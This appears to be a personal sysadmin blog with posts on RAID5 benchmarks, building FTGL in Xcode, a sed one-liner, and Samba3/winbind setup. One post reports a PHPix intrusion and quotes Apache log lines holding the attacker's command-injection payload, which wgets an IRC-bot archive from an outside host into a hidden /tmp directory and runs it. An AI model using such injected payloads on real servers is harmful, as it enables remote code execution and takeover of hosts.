Set up a 2.6TB raid5 volume using A5200s and a 2×450mhz E220R. Shared it using samba3. Saw that network copies were horrible to it. This is the output of bonnie++ (a disk benchmark) and then I piped the results to `bon_csv2html’ program (included with the source distribution of bonnie).

You can see that I’m getting only 594KB of block writes per second but 13.3MB of block reads per second. Writes are way too slow because it’s having to write little 32k interlaces across 40 disks in an external disk array.
Test2 is a 3 disk RAID5 stripe. Interlace size is still the default of 32k. Still not great performance. Boo software RAID5.
I finally got the FTGL library built. It was quite annoying to do. In the end, I had a libfreetype.a file (looks like an assembly binary) and a libftgl.a file. I added those to the XCode project. Then I double clicked on the target icon to pull up a properties pane where I could add the Freetype2 headers I installed from source.
I made freetype2’s prefix path /sw/freetype2 with `configure –prefix=/sw/freetype2′. With that path, I included /sw/freetype2 and /sw/freetype2/include in the XCode project.
I’ll post screenshots of this whole process because I couldn’t find jack on the Internet about this.
After futzing around with some FTGL demos that didn’t work I finally modified an example to the point that it loaded a true type font and displayed the string “hi” on the screen. I was very happy. I was then able to move the texture and change the alpha channel to make it fade away. What I’m looking for is a little popup of arbitrary text to appear over someone’s head when they get hit to represent damage.
Right now, I’m stuck trying to figure out how to trigger this whole drawing thing off of a keystroke instead of just being called with by the main function. I’ll post the entire example with pics soon. [placeholder]
/tmp is writable for the apache user. Someone exploited some bad code and uploaded an IRC bot on Aug 09. It’s not running now and we did a test to see if ./mech could be run. It didn’t start.
We fixed the PHPix code to check for system escapable characters. PHPix really should have done this from the start. Goes to show you that security really goes out the window with freeware and lots of services running.
[Mon Aug 09 05:39:42 2004] [error] [client 82.208.182.219] File does not exist: /var/www/jonhammond/docs/albums/generated/Misc/Other/dogs__scaled_`cd , referer: http://jonhammond.com/albums/?mode=view&album=Misc%2FOther&pic=dogs.jpg&
dispsize=http://www.martynlomax.com/phpix/index.php?album=pissups%2FOn-Anon&
dispsize=`cd%20/tmp;mkdir%20'%20..%20';cd%20'%20..%20';wget%20idl3.home.ro/botu.tgz;
tar%20xzvf%20botu.tgz;cd%20botu;./mech;./mech`&start=0
[Mon Aug 09 12:12:42 2004] [error] [client 82.208.182.219] File does not exist: /var/www/jonhammond/docs/albums/generated/Misc/Virginia/matt__scaled_`cd , referer: http://jonhammond.com/albums/?mode=view&album=Misc%2F
Virginia&pic=matt.jpg&
dispsize=`cd%20/tmp;mkdir%20′%20..%20′;cd%20′%20..%20′;wget%20idl3.home.ro/botu2.tgz;
tar%20xzvf%20botu2.tgz;cd%20botu;./mech`&start=0
Wasn’t a big deal, the IRC bot didn’t run because apache’s shell is /bin/false. (I shouldn’t be telling you all this) I’m still researching what emech is, how IRC bots work and if I can lock down apache anymore.
If you have a SSH account someplace outside of your locked down network, try safe passage.
If you want to try to tunnel everything through port 80, check out gnu httptunnel but your program will have to support something like a proxy.
All of a sudden, gnome-terminal on Fedora core 2 was acting really strange. It was slow to open, slow to type, slow to close. Found a bug doc on redhat’s site although it was an older distro.
Eh, it’s worth a shot. Searched for the rpm on rpmfind.net.
Fedora ships with vte-0.11.10-5.1. So I upgraded vte with [root@fedora2 root]# rpm -Uvh [URL from rpmfind.net just like usual. The upgrade completed and immediately afterwards, gnome-terminal opened quickly again. I surprised that I didn’t have to restart X or log out of Gnome etc. Whatever was broken must have not been cached or in memory.
I guess I’m used to network type services like bind where you edit something and restart something and then the something works again. :)
This is a very specific example. I found this tricky because regular expressions in sed isn’t the same as in Perl.
I wanted to take output from the format command in Solaris and just get a list of disks on the system.
I ran format and redirected the output to a file called disks.txt
– file: disks.txt –
0. c0t0d0
/pci@1f,4000/scsi@3/sd@0,0
1. c0t1d0
/pci@1f,4000/scsi@3/sd@1,0
2. c1t32d0
/pci@1f,4000/SUNW,qlc@2/fp@0,0/ssd@w21000004cf8ab02c,0
3. c1t33d0
/pci@1f,4000/SUNW,qlc@2/fp@0,0/ssd@w21000004cfb448ed,0
4. c1t34d0
/pci@1f,4000/SUNW,qlc@2/fp@0,0/ssd@w21000004cf70fd3f,0
5. c1t35d0
/pci@1f,4000/SUNW,qlc@2/fp@0,0/ssd@w21000004cfa6efc4,0
Then I wanted just the ‘ctd’ names of these disks (ie: c1t35d0 being the last one).
– magical sed trick –
cat disks.txt | sed -n 's/\(.*\)\(c[0-9]*t[0-9]*d[0-9]*\)\(.*\)/\2/p'
This should output:
c0t0d0
c0t1d0
c1t32d0
c1t33d0
c1t34d0
c1t35d0
The one thing I can’t figure out is how to run format in a non-interactive way for scripting. It seems you have to resort to using the path_to_inst file. I did something like this in my humble project easylun.
Here’s how you can get the samba home directories to be created on the fly:
Read the rest of this entry »
This is a repost for formatting
Winbind-Solaris Documentation
Naag Mummaneni getnag at rediffmail.com
Thu May 2 11:10:54 GMT 2002
Next message: Winbind-Solaris Documentation
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
——————————————————————————–
Hi,
I just configured my Solaris box to logon to my Windows 2k Domain after working on it for three days.I am sorry to say that I have found no documentation for setting up Samba-winbind on solaris.And I feel that a Prestigious opensource project like Samba shouldnt be blamed for this.So I modified the documentation that come with samba & prepared this one for “solaris” so that no other administrator will face problems that I did. I hope the Samba group will put this documentation part in the distribution.Please find the attached doc file for the documentation.
Thanks
Naag Mummaneni(getnag at rediffmail.com)
——————————————————–
Read the rest of this entry »
There is lots of community information about how to setup winbind and Samba3 to move your *nix box towards a single sign on paradigm, but not much about what it actually looks like or how it operates in the end.
First, Samba. The point of this setup is to not to create a unix account for everyone who will use the network share/drive. In a large company, such a setup would make any System Administrator cringe. Our goal is to create a share that looks like a normal Windows file server that appears to be a part of a domain (as in, they don’t get some annoying login prompt when they use it); seamless integration is what we want.
So far this article is the best thing I’ve seen for a Samba3+Winbind+Active Directoy setup guide. In the end, I had a file share (called public) that I could browse to without a local UNIX login. Although I have a local UNIX account, logging in as DOMAIN\me was clearly seperate from my local UNIX account. This was a concern for me since I didn’t want a situation where the Domain Controller goes down and I can’t admin a box.
Samba3 can be setup so that home directories are created automatically when people browse to it. smb.conf has comments in it that help point you in the right direction.
Here you can see how it separates the DOMAIN homes from the ‘local’ homes. Neat idea of having a DOMAIN subdirectory. (please note that my Active Directory domain in this example is ‘DOMAIN’ and my username is ‘me’ both locally and on the AD domain ‘DOMAIN’)
me@box / $ ls -l /home
total 12
drwxr-xr-x 5 root root 4096 Sep 29 14:41 DOMAIN
drwx------ 26 me users 4096 Sep 29 15:13 me
Then if you look at /home/DOMAIN:
me@box / $ ls -l /home/DOMAIN
total 12
drwxr-xr-x 3 DOMAIN+me DOMAIN+Domain Users 4096 Sep 29 16:54 me
drwxr-xr-x 2 DOMAIN+bob DOMAIN+Domain Users 4096 Sep 29 16:15 bob
drwxr-xr-x 3 DOMAIN+jane DOMAIN+Domain Users 4096 Sep 29 10:43 jane
Pretty neat. Winbind at work showing that home directories are owned as we might hope. /home/DOMAIN/me is shared to me only when I access the samba server logged in from my XP machine as the user DOMAIN\me. This is exactly like plain-vanilla samba home directory sharing.
Access control lists work also to provide NTFS-like security even from a windows machine. If you right-click on a folder on my samba server, set permissions on the permissions tab, you’ll see the acls if you use the getfacl utility.
The screen dump below shows that I (DOMAIN\me) created a folder named ‘blee’ and granted permissions to DOMAIN\bob just like a normal windows share. I didn’t set the ACL permissions using a UNIX box, thus proving that ACLs = NTFS type permissions.
me@box public $ getfacl blee
# file: blee
# owner: DOMAIN+me
# group: DOMAIN+Domain40Users
user::rwx
user:DOMAIN+bob:rwx
group::r-x
mask::rwx
other::r-x
default:user::rwx
default:user:DOMAIN+bob:rwx
default:group::---
default:mask::rwx
default:other::---
A few ideas detailing a first bold attempt at game programming.
Of note, the game will try to be of a Final Fantasy 1 feel while having attributes and statistics similar to Final Fantasy 7 and 11. Features and goals include:
- Some sort of world map
- Possibly a shader to make the world look like a snow globe (see Doom3’s glass post-processing effect)
- Special effects based on hits / actions
- Eventually some sort of story and plot
These are on the upper end of the TODO list. Read on for more immediate tasks.
Read the rest of this entry »